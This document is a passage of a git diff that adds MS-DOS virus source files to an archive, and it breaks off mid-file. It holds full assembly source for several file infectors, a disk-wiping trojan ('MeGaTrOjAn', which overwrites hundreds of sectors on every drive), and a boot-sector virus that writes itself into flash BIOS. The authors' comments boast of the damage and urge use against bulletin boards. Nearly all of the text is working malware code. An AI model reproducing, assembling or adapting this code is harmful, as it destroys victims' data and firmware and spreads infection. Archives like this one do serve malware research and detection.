Get tail of filename + cmp ax,'DN' ; Ends in ND? (commaND) + jz find_next + + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + mov bx,word ptr [bp+buffer+1]; get jmp location + add bx,heap-decrypt+3 ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax, heap-decrypt ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + pop ax ; remove call from stack + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control + +exe_mask db '*.exe',0 +com_mask db '*.com',0 +dot_dot db '..',0 +heap: ; Variables not in code +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/MSDOS/Virus.MSDOS.Unknown.megatroj.asm b/MSDOS/Virus.MSDOS.Unknown.megatroj.asm new file mode 100644 index 00000000..261f9a38 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.megatroj.asm @@ -0,0 +1,5 @@ +;****************************************************************************** ; The High Evolutionary's [MeGaTrOjAn] v1.0 ;****************************************************************************** ; ; Development Notes: (Dec.12.9O) ; ------------------------------ ; ; Hi guys. It's me again. Here is my latest work of Trojanic Art. This does ; alot more damage than my old Trojan (Int 13 method). This one uses INT 26 ; instead that overwrites 719 sectors of each hard-drive. ; ; I managed to fix the error on crashing after INT 26. The problem lied in ; the restoration of the flags after the INT was called. ; ; I also have an encrypted message in this one. Rather nice if I do say so ; myself. Check out the commented lines to read the message. ; (It gets written to sector 0 of each drive. Do view it, use NU /M) ; ; I also fixed a small bug in my old encryption routine. Check out this source ; for the latest modifications and fixes, but it works great now... ; ; Have phun... ; ; -= The High Evolutionary =- ; ; PS: Use this to crash those lame-ass TeleGard Boards... ; ;****************************************************************************** ; Written by The High Evolutionary ; ; Property of The RABID Nat'nl Development Corp. ; ; NOT TO BE DISTRIBUTED TO ANY OUTSIDE GROUPS OR AGENCIES ; (Well, at least the source code. I don't give a fuck what you do with ; the compiled file...) ;****************************************************************************** code segment assume cs:code,ds:code,es:code org 100h @fry macro drive,sectors pushf ; Push all flags onto the stack mov al,drive ; Select drive to fry mov cx,sectors ; Choose amount of sectors mov dx,0 ; Set format to start at sec. 0 mov bx,offset dest ; Set format to have IDENT ; string imbedded in sector 0 int 26h ; Call BIOS to fry drive popf ; Restore the flags we pushed endm start: jmp decrypt ; ; BAHA! Rather sympathetic message eh guys? ; ;ident db "Ooops! Looks like you have a slight problem. This drive ",13,10 ; db "is fried! Why? Well, that's easy... RABID''s the answer... ",13,10 ; db "Your security sucks shit!!! Time to upgrade... Let me ",13,10 ; db "give you a little hint to speed up your recovery. Reformat ",13,10 ; db "your hard-drive. MIRROR, SF and any other nifty utils are ",13,10 ; db "useless against RABID''s [MeGaTrOjAn]... Have phun guys! ",13,10 ; db " - RABID '91",13,10 ident db "Nnnqr !Mnnjr!mhjd!xnt!i`wd!`!rmhfiu!qsncmdl/!Uihr!eshwd! h" db "r!gshde !Vix>!Vdmm-!ui`u&r!d`rx///!S@CHE&r!uid!`orvds///! " db "Xnts!rdbtshux!rtbjr!rihu !Uhld!un!tqfs`ed///!Mdu!ld! fhw" db "d!xnt!`!mhuumd!ihou!un!rqdde!tq!xnts!sdbnwdsx/!Sdgnsl`u! x" db "nts!i`se,eshwd/!LHSSNS-!RG-!`oe!`ox!nuids!ohgux!tuhmr!`sd! " db "trdmdrr!`f`horu!S@CHE&r!ZLdF`UsNk@o\///!I`wd!qito!ftxr ! " db "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,!S@CHE!&80 " lident equ $-ident ; Find the length of string dest db [lident-1/2] dup (?) ; Blank field for decrypt temp db 0 ; Temp char field haha db 2 ; HAHA is the drive to be ; nuked! hoho dw 719 ; HOHO is the number of sectors ; to make into Kaka! ; ; (Can't you tell I'm in the Christmas Spirit...) ; decrypt: mov cx,lident ; Move length of string ; into CX mov si,offset ident ; Move string into SI mov di,offset dest ; Specify dest in DI doshit: mov al,ds:[si] ; Get a charachter mov temp,al ; Copy it to temp xor byte ptr ds:[temp],01h ; XOR it with 01h mov al,temp ; Copy temp to AL mov [di],al ; Copy AL into dest inc si ; Inc SI inc di ; Inc DI loop doshit ; Back for the next charachter ; until CX=0 main: cmp haha,27 ; Check to see if drive Z is ; fried jge quit ; If yeah. Then gedoudahere @fry haha,hoho ; No? Then fry the drive... inc haha ; Add 1 to HAHA jmp main ; Then go up and fry another quit: mov ax,4c00h ; Set terminate program with ; error code 00 int 21h ; Call DOS to gedoudahere code ends end start +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ diff --git a/MSDOS/Virus.MSDOS.Unknown.megavir.asm b/MSDOS/Virus.MSDOS.Unknown.megavir.asm new file mode 100644 index 00000000..8eef5d88 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.megavir.asm @@ -0,0 +1,97 @@ + +ideal +p386 +model tiny +codeseg +startupcode + +n_int=len/4+82h + +;MEGAVIR by Mad Daemon @ http://hysteria.sk/maddaemon/ + +;Expected values in registers at entry point: bx=0 ch=0 +;Compile to COM + + call start +old_3: int 20h + nop +start: pop di + dec di + dec di + mov si,[di] + dec di + push di + add si,di + movsw + movsb + shl di,1 + mov es,bx + cmpsb + je in_m + dec si + dec di + mov cl,len + rep + movsb + + mov ax,OFFSET int21+100h + cwde + xchg eax,[es:84h] + stosd +in_m: push ds + pop es + retn + +call0: mov ax,4000h +call1: push ax + int 21h + pop ax + mov ah,42h + cwd +call2: xor cx,cx + int 21h + mov cl,3 + mov si,203h + mov dx,si + retn + +int21: cmp ax,4B00h + jne noinf + pusha + push ds + + mov ax,3D02h + call call2 + xchg bx,ax + jc fail + push cs + pop ds + mov ax,3F02h + + call call1 + xchg bp,ax + mov cl,len+3 + + lodsb + cmp al,'M' + je close + cmp al,0E8h + je close + + call call0 + + mov [BYTE si],0E8h + mov [WORD si+1],bp + call call0 + +close: mov ah,3Eh + int 21h +fail: pop ds + popa +noinf: ;rept ($-start+1) mod 4 + ;db 90h + ;endm + db 0EAh + +len=$-start +end \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.mening.asm b/MSDOS/Virus.MSDOS.Unknown.mening.asm new file mode 100644 index 00000000..48e3f901 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mening.asm @@ -0,0 +1,467 @@ +;......................................................................... +; +; -=[ BIOS Meningitis ]=- +; Qark/VLAD +; +; +; Basic boot sector virus with a twist. +; +; The worlds first flash BIOS infecting virus! +; +; I _just_ fit all this into 512 bytes. Infact there is only four bytes +; spare... there wasn't even enough room for the name! It used to copy +; the partition table to the end of the virus but that is 64 bytes that +; just couldn't spared, so now you if you boot from a floppy disk, the +; hard disk won't be accessible. But it's a full stealth virus apart +; from that. +; +; If you have flash BIOS on your computer there is a chance it will fuck +; it up! I'm talking wiped BIOS chip type fucked! You WONT be able to +; remove this virus!!! +; +; The results of any tests of this with flash BIOS would be appreciated. +; +; Assemble with A86 as always. +; +;......................................................................... + + +;On entry to the boot sector DL=Drive booted from. + + org 0 + + mov si,7c00h + + xor ax,ax + mov es,ax + + cli + mov ss,ax ;Setup the stack + mov sp,si + sti + + mov ds,ax ;DS,CS,ES,SS=0 + +;*** 40:[13] - memory in k's - reduce by one or so *** + + dec word ptr [413h] ;0:413 = Memory in K, Sub one K. + + int 12h ;Get memory into AX + ;Since memory is in K we have to + ;multiply by 1024. To do that we + ;would SHL AX,10. But because we are + ;looking for the segment that takes + ;4 bits off the equation. + + mov cl,6 + shl ax,cl ;Thus SHL AX,6 + mov es,ax ;ES = Virus Segment + + +;*** read virus sector into TOM (top of memory) *** + + xor di,di + mov cx,200h + cld + rep movsb ;Move virus to ES:0 + + mov ax,word ptr [13h*4] ;Get int13h from vector table. + mov word ptr es:[offset i13],ax + mov ax,word ptr [13h*4+2] + mov word ptr es:[offset i13+2],ax + + mov word ptr [13h*4],offset handler + mov word ptr [13h*4+2],es + +already_resident: + + push es + mov ax,offset restart + push ax + retf + +Restart: + ;Load the original bootsector from the end of the root directory and + ;execute it. + xor ax,ax + call int13h + + xor ax,ax + mov es,ax + mov bx,7c00h ;Where it's meant to be. + + mov cx,2 ;Read HD boot strap from MBR. + xor dh,dh + mov ax,201h ;Read one sector from root directory. + cmp dl,80h + jae MBR_Loader + ;load up floppy + mov cl,14 ;Cylinder=0, Sector=14 + mov dh,1 ;Head=1 + +MBR_Loader: + call int13h + + push dx ;DL=Drive we are at. + + cmp byte ptr cs:flash_done,1 ;flash is already infected. + je flash_resident + + call flash_BIOS ;Infect flash BIOS if any. + +Flash_resident: + + pop dx + + db 0eah ;JMPF 0000:7C00H + dw 7c00h + dw 0 + +Stealth: + + mov cx,2 + mov ax,201h + cmp dl,80h + jae hd_stealth + mov cl,14 + mov dh,1 +hd_stealth: + call int13h + jmp pop_exit +res_test: + xchg ah,al + iret +Handler: + cmp ax,0abbah + je res_test + cmp ah,2 ;Reading the first sector ? + jne jend + cmp cx,1 + jne jend + cmp dh,0 + jne jend + +try_infect: + + call int13h + jc jend + + pushf + push ax + push bx + push cx + push dx + push si + push di + push es + push ds + + ;Test if already infected. + + cmp word ptr es:[bx + offset marker],'LV' + je stealth ;Already infected. + + cmp dl,80h ;C: + jb infect_floppy + + mov cx,2 ;Sector 2 - Empty MBR space. + xor dh,dh + jmp write_virus + +Infect_Floppy: + ;Store at end of root directory for floppy drives. + ;(Will fuck up on 360k but I dont give a shit!) + + mov cx,14 ;Cylinder=0, Sector=14 + mov dh,1 ;Head=1 + +Write_Virus: + ;Write original boot sector to spare room. + + mov ax,301h + call int13h + jc pop_exit + + ;The virus is written at this point. + + push cs + pop es + + mov byte ptr cs:flash_done,0 + + xor bx,bx + mov ax,301h ;Write virus. + mov cx,1 + xor dh,dh + call int13h + +Pop_Exit: + pop ds + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + + retf 2 + +jend: + db 0eah ;Stands for Jmpf + i13 dd 0 ;The original int13h + + +Int13h proc near + + pushf + call dword ptr cs:[i13] + ret + +Int13h endp + +Marker db 'VLAD' ;Running out of room so small + ;marker. + + +Flash_BIOS Proc Near + +; Flash BIOS infection (c) 1994 Qark/VLAD! + +;Disclaimer: If any of this wrecks your computer that's your bad luck +;because you know this is dangerous code. + +;I just hope that AMIFLASH is loaded at boot and isn't a driver. Since it's +;written by a BIOS maker you'd think so... + + + mov ax,0e000h ;Get flash BIOS number. + int 16h ;Test for its presence. + jc no_flash_bios + cmp al,0fah ;<-- gotta test this + jne no_flash_bios + +Infect_Flash: + + ;We are now working with AMIFLASH! + + ;First we'll find a nice place to store our virus. + ; We'll scan between F000-FFFF where BIOS is normally stored for + ; a 1K chunk of consecutive zeros. (We might only need half a K + ; but I'm overplanning) + + mov ax,0f000h ;ROM BIOS segment + mov ds,ax + +New_segment: + + xor si,si + xor dx,dx + +ok_new_segment: + + inc ax + mov ds,ax + + cmp ax,0fff0h ;No room for our virus. + je no_flash_BIOS +Test16: + cmp word ptr [si],0 ;Scan words + jne new_segment + + inc dx ;DX is our free room counter. + cmp dx,512 ;1024 byte buffer found (512x2) + je found_storage + + inc si + inc si ;Coz we are messing with words. + + cmp si,16 ;We are going up in paragraphs. + je ok_new_segment + jmp test16 + + +Found_storage: + sub ax,40h ;Sub 1K (40hx16=1024) + mov ds,ax ;Coz we are using segments + + mov ax,0e001h ;Chipset save requirement. + int 16h + + ;BX=Number of bytes to Save Chipset. + + cmp bx,512 + jbe save_chipset + + ;We won't bother saving the chipset because it takes up more room + ;than our virus buffer can store. Fuck em :) + + mov byte ptr cs:chipset,1 ;Indicate we haven't saved anything. + + jmp write_enable +No_Flash_BIOS: + ret +save_chipset: + mov byte ptr cs:chipset,0 ;We've saved stuff. + + mov al,2 + push cs + pop es ;ES=CS + mov di,offset buffer + int 16h ;Chipset Status to ES:DI + +write_enable: + + mov al,5 + int 16h ;Raise Voltage (this may take time). + + mov al,7 ;Flash Write Enable. + int 16h + + ;Flash Memory is now writable. I am working on nothing here + ;so I'll assume you just write to it normally and it'll be + ;put there. If you were into writing destructive payloads + ;this would be the mother of them all. Just load CX with 0ffffh + ;to trash their computer. Also, leaving the computer in this + ;state for extended periods could cause damage (Dunno ? Their + ;electricity bill would go up at least :) + + push ds + pop es ;DS=ES=Place to put virus. + + xor di,di + mov cx,512 ;<-- FFFF = trouble! + push cs + pop ds ;DS=CS + xor si,si + cld + rep movsb ;Move our virus into BIOS. + + ;Hopefully our virus is written ? + + ;Ok, I looked into this carefully. At bootup int19h points + ;into the BIOS but thereafter is grabbed by various programs + ;(Dunno why, its the shittiest interrupt out). So, if you debug + ;right now it'll point into some shadowed area or else into + ;segment 70h, but it won't at bootup which is the only time boot + ;sector viruses get executed so all is cool. + + ;What we'll do is modify the actual bytes at the entry point to + ;the interrupt. You might think I should do something else but + ;I can't think of any other way of hooking an interrupt at bootup. + + ;Priest-P/S reckoned I should just store my virus in the Flash + ;and let the bootvirus just jump to it or something but then + ;it's not really infected methinks. He also suggested I just modify + ;the int13h entry point and restore the bytes etc. Well as you can + ;see from the involved code needed just to write to flash I think + ;that with a common interrupt like int13h it isn't feasible. + + ;Get Segment:Offset of original int19handler + + mov bx,es ;BX=Virus Segment + xor ax,ax + mov ds,ax ;DS=Vector Table. + mov di,word ptr [19h*4] ;Offset of int19h + mov es,word ptr [19h*4+2] ;Segment of 19h + + ;Write a JMP FAR at the int19h entry point. + mov al,0eah + stosb + mov ax,offset int19handler + stosw + mov ax,bx + stosw ;Creates a JMPF INT19HANDLER at the + ;int19h entry point. + + mov ax,0e004h ;Lower Voltage. + int 16h + + mov al,6 ;Write Protect. + int 16h + + cmp byte ptr cs:chipset,0 + jne No_Flash_BIOS ;We've done for this one. + + push cs + pop es ;ES=CS + + mov al,3 + mov di,offset buffer ;Restore all their shit. + int 16h + jmp no_flash_bios + +chipset db 0 ;1=chipset not saved +flash_done db 0 ;1=loaded from flash. + +;This is our own int19h handler. The original sux because it isn't infected. +;(Strange logic :) +Int19Handler Proc Near + + xor ax,ax + mov es,ax ;ES=0 + + mov ax,0abbah ;ABBA - from Muriels Wedding. + int 13h + + cmp ax,0baabh ;BAAB - I like these. + jne real_int19h + +;We are currently before the boot here. Lets install our virus before +;any boot sectors or anything get loaded. + + push cs ;DS=0 + pop ds + cld + xor si,si + mov di,7c00h + mov cx,512 + rep movsb ;Move our virus from BIOS into boot buffer. + mov dl,80h ;Make it think its C: + jmp goto_Buffer ;Execute it. + +real_int19h: + xor ax,ax + int 13h ;Reset disk + + mov cx,1 + mov dh,0 + mov ax,201h + mov bx,7c00h + cmp dl,0 + ja hd_int19h + + int 13h ;Read boot sector. + jc fix_hd + +Goto_Buffer: + mov byte ptr es:[7c00h+offset flash_done],1 + + db 0eah ;JMPF 0000:7C00 + dw 7c00h + dw 0 +Fix_HD: + mov dl,80h ;Boot from C: +HD_Int19h: + xor ax,ax + int 13h ;Reset controller. + mov ax,201h + int 13h + jc fucked_boot + jmp Goto_Buffer + +Fucked_boot: + int 18h ;Called when a boot fucks up + +Int19Handler EndP + +Flash_BIOS EndP + +End_Virus: + DupSize equ 510 - offset End_Virus + db DupSize dup (0) + db 55h,0aah ;End of Sector Marker. + +Buffer: ;512 bytes of storage space in here. + diff --git a/MSDOS/Virus.MSDOS.Unknown.merde-2.asm b/MSDOS/Virus.MSDOS.Unknown.merde-2.asm new file mode 100644 index 00000000..7cdf78ea --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.merde-2.asm @@ -0,0 +1,203 @@ +;well, here's the next installment of the merde virus...all that is new; +;is your run of the mill xor encryption........and a little change in; +;the code itself to make it slightly more modular...; +;up+coming: .exe version(why put 'em together? makes it too big); +; an actual function besides infect!; +; TSR infect version?; +attrib equ 21 +time equ 22 +date equ 24 +fspec_address equ 0e4h +filesize equ 26 +fname equ 30 +dta equ 80h +virsize equ 354 +byte_compare_val equ 35 +CODE_SEG SEGMENT BYTE + ASSUME DS:CODE_SEG, CS:CODE_SEG + ORG 100h +first: jmp caller + db 128 dup(00) +caller: call caller2 ;si=this address for the whole thing; + +;ok, for encryption, we use the value of the byte at the jump instruction; +;if the file we find isn't infected...; + +encryptv: db ? + +;si=offset of the "caller"; + +caller2: pop si + sub si,3 + jmp getstart + +;jmp to getstart and have it call us back, getting the address of "start"; +;into es..(I know, why not just add the size of the stuff to si?; +;I'll do it some other time; + +after: pop es ;es=start:; + +;okay, I decided, arbitrarily, to use bp and jump from the encrypt; +;function so it was more unsingular to a particular circumstance; + + mov bp,es ;unencrypt de code+jump to virus; + jmp encrypt + +;if we are being called from the write proc, we need to save BP on the stack; + +encrypt_w: mov ax,bp ;ax=whereto jump at end; + pop bp ;bp=return to write routine; + push ax ;where to jump at end is on stack +;note the standard, run o' the mill encrypt/decrypt!; + +encrypt: push bx ;might not be needed, I'll check later; + push si + mov cl,[si+3] ;offset of encrypt value; + mov bx,es ;where to start encrypting; + xor si,si +xloop: mov al,[bx+si] + xor al,cl + mov [bx+si],al + cmp si,0e7h ;size of post-start(or close enough); + ja done + inc si + jmp xloop + done: pop si + pop bx + jmp bp ;jump whereever we were supposed to; + +write_code: call encrypt_w ;yep, encrypt it; + pop bp ;get back address in this infected file; + mov bx,[di+9] ;file to jump to, and file handle; + mov ah,40h + mov cx,virsize ;total virus size + mov dx,si + int 21h + call close_current + jmp nofiles ;not really, just didn't change name; +;this proc closes the file with original stats; +close_current: + mov dx,[di+14] + mov cx,[di+12] + mov ax,5701h + mov bx,[di+9] + int 21h + mov ah,3eh + int 21h + mov ax,4301h + xor ch,ch + mov cl,[di+11] + int 21h + ret +nofiles: push ds + pop es + jmp bp + +getstart: call after + + +;encrypted from here on out-es=start of this procedure; +start: mov di,es + add di,fspec_address ;di=ADDRESS OF FILESPEC!; + mov dh,[di+18] + mov ah,[di+17] + mov al,[di+16] + mov bx,100h + mov [bx],al + mov [bx+1],ah + mov [bx+2],dh + mov bp,bx + mov ah,4eh ;------------------; + mov cx,33 + mov dx,di ;find file match; +search: int 21h + jc nofiles ;get out if none found; + mov bx,dta+filesize ;compare filesize via BX; + cmp word ptr [bx],65000 + ja leave1 + cmp word ptr [bx],150 + jb leave1 + jmp ok +leave1: mov ah,4fh + jmp search +ok: CLC + + ;Okay-- DI=base of fspec; + mov bx,dta+attrib + mov al,[bx] + mov [di+11],al ;save attrib; + mov ax,word ptr [bx+1] + mov [di+12],ax ;save time; + mov ax,word ptr [bx+3] + mov [di+14],ax ;save date; + mov ax,4301h + mov cx,0 + mov dx,dta+fname + int 21h ;set attrib to 0; +label2: mov ax,3d02h + int 21h + mov [di+9],ax ;open + save handle; + mov bx,ax + mov ah,3fh + mov cx,3 + mov dx,di + add dx,16 ;dx points to save area for first three bytes; + int 21h ;open handle, and read 3 bytes into it; + cmp byte ptr [di+16],0e9h + jne label1 +cont: mov ax,4200h + xor cx,cx + mov dx,[di+17] + add dx,3+byte_compare_val + mov bx,[di+9] + int 21h + mov ah,3fh + mov cx,2 + mov dx,di + add dx,6 + int 21h + mov dx,[di+6] + cmp dx,[si+byte_compare_val] + jne label1 + call close_current + jmp leave1 +label1: + ;set encrypt value here---(low order byte of filesize of next file; + mov bx,dta+filesize + mov dl,[bx] + mov [si+3],dl + mov bx,[di+9] + mov ax,4200h + xor cx,cx + mov dx,0 + int 21h +;okay, this is kinda thick..; +;set pointer to after jmp instruct, and change address to size; +;of file plus 3 for jmp instruction, minding that we have to flip stuff; + mov bx,dta+filesize + mov dh,[bx+1] ;high val equals 2nd part of word+vice versa; + mov dl,[bx] + sub dx,3 + mov [di+7],dx + mov byte ptr [di+6],0e9h + mov ah,40h + mov bx,[di+9] + mov dx,di + add dx,6 + mov cx,3 + int 21h + xor cx,cx + mov ax,4202h + xor dx,dx + int 21h + jmp write_code + +fspec: db '*.com',0 ;bx+0; +disk_buffer: db 3 DUP(?) ;di+6; +handle: dw ? ;di+9; +attribute: db ? ;di+11; +otime: dw ? ;di+12; +odate: dw ? ;di+14; +first_3: db 0cdh,20h,00 ;di+16; +CODE_SEG ENDS +END first \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.merde-3.asm b/MSDOS/Virus.MSDOS.Unknown.merde-3.asm new file mode 100644 index 00000000..ef2d0a51 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.merde-3.asm @@ -0,0 +1,405 @@ +; MERDE-3: A resident, non-overwriting .Com infector by the loki-nator + +;Well, here it is, for what it's worth.. It is really kind of a +;piece of crap, but it is just a rough draft.. +;NOTES: +; If this gets into Command.Com, it (command) won't work for unknown reasons.. +; I could have fixed it by just checking to make sure the file it is infecting +; isn't command.com, but I decided that this would be it's harmful side effect +; and left it... I will have to fix several things in it, like its memory +; handling, etc... It only infects files when they are loaded for EXECUTION! +; it won't infect .com files loaded by debug via AX=4b03, or al=anything +; except 00.... Also, it hooks int 71 for its own type of multiplex +; interrupt to check if the resident portion is already installed.. +; I don't know if that will get me in trouble or not. This is not very well +; tested, so it may hand under some circumstances or ill-behaved programs +; that mess with the memory (like I did)... Well, I need to add .exe +; infection, or I will be just a wanna-be virus writer! +; At this very moment, I will probably modify it for infection of any function +; that gives INT 21 a DS:DX pointer to a com file. +; Oh, yeah- If you compile it, you have to run the included Maker.bat file +; after you have compiled it (Use Tasm, but I guess anything will work.) + +; Any GOOD virus writers out there will obviously notice how inefficient this +; is, so if you do, leave me mail with some pointers.... + +compare_val equ 900 +interrupt equ 21h +Code_seg Segment Byte + Assume DS:Code_seg, CS:Code_seg + ORG 100h +start: mov di,0100h ;di=start + mov si,bx + add si,offset five_bytes-100h + mov cx,5 + rep movsb + int 71h + cmp ax,9999h + jne okay + mov ax,0100h + xor si,si + xor si,di + xor cx,cx + jmp ax +okay: mov di,bx + sub di,100h + xor ax,ax + mov es,ax + mov ax,es:[interrupt*4] + mov bx,es:[interrupt*4+2] + mov [di+int_21_saveo],ax + mov [di+int_21_saves],bx + push cs + pop es + mov [di+orig_stackp],sp + cli + mov sp,di + add sp,offset my_stack + sti + push ax + push bx + push cx + push dx + push bp + push ds + push es + push si + push di + mov [di+my_stack_save],sp + cli + mov sp,[di+orig_stackp] + sti + int 12h + mov bx,cs + mov cx,1024 + mul cx + clc + mov cx,400h + sub ax,cx + sbb dx,0000 ;dx:ax=where we want this mem to end! + mov [di+high_ram],dx + mov [di+low_ram],ax +here: mov cx,cs + mov ax,0010h + mul cx + clc + mov cx,di + add cx,offset ending + add ax,cx + adc dx,0000 + clc + sub [di+low_ram],ax + sbb [di+high_ram],dx + clc + mov ax,[di+low_ram] + mov dx,[di+high_ram] + mov cx,0010h + div cx ;dx:ax=memory above this-divide it by 16 + mov bx,ax + mov ah,4ah + int 21h + jnc okay_1 + jmp get_out +okay_1: mov ah,48h + mov bx,60h + int 21h + mov [my_segment+di],ax + jnc okay_2 + jmp get_out +okay_2: push di + xor di,di + xor si,si + mov es,ax + mov cx,100h + rep movsb + pop si + push si + add si,100h + mov cx,offset ending-100h + rep movsb + pop di + mov dx,es + sub dx,1 + mov es,dx + mov es:[1],ax + mov byte ptr es:[0],'Z' + mov word ptr es:[3],0000 + mov es,ax + mov es:[16h],ds + mov ax,offset return_to_file + add ax,di + mov es:[0ah],ax + mov es:[0ch],ds + mov ah,50h + mov bx,es + int 21h + mov dx,600h + mov ax,es + mov ds,ax + mov es,ax + push cs + pop ss + mov word ptr cs:[return_to_file+di+1],di + mov sp,600h + int 27h +return_to_file: + mov di,0000 + xor ax,ax + mov es,ax + mov bx,offset my_21 + mov ax,cs:[di+my_segment] + mov word ptr es:[interrupt*4],bx + mov word ptr es:[interrupt*4+2],ax + mov word ptr es:[71h*4+2],ax + mov bx,offset my_71 + mov word ptr es:[71h*4],bx + mov ax,cs + cli + mov ss,ax + mov sp,cs:[my_stack_save+di] + sti + pop di + pop si + pop es + pop ds + pop bp + pop dx + pop cx + pop bx + pop ax + cli + mov sp,cs:[di+orig_stackp] + sti + mov ax,0100h + jmp ax +get_out: + mov ax,cs + cli + mov ss,ax + mov sp,cs:[di+my_stack_save] + sti + pop di + pop si + pop es + pop ds + pop bp + pop dx + pop cx + pop bx + pop ax + cli + mov sp,cs:[di+orig_stackp] + sti + mov ax,0100h + jmp ax + + +;------------------------------------------------------------------ + +my_21: + cmp ah,4bh + je continue_with_it + jmp continue_21 +continue_with_it: + cmp al,00 + je okay_go + jmp continue_21 +okay_go: + push ax + push bx + push cx + push dx + push es + push di + push si + push bp + push es + push ds +check_file: + mov bx,dx + xor si,si +looper: + cmp byte ptr ds:[bx+si],'.' + je check_com + cmp si,35 + jle okay5 + jmp give_up1 +okay5: inc si + jmp looper +check_com: + inc si + cmp byte ptr ds:[bx+si],'c' + je check_for_infection + cmp byte ptr ds:[bx+si],'C' + je check_for_infection + jmp give_up1 +check_for_infection: + mov cs:[high_file],ds + mov cs:[low_file],dx + mov ah,50h ;set PSP to ours + push cs + pop bx + call dos_21 + mov ah,43h + xor al,al + call dos_21 + jnc okay9 + jmp give_up +okay9: mov cs:[attrib],cx + mov 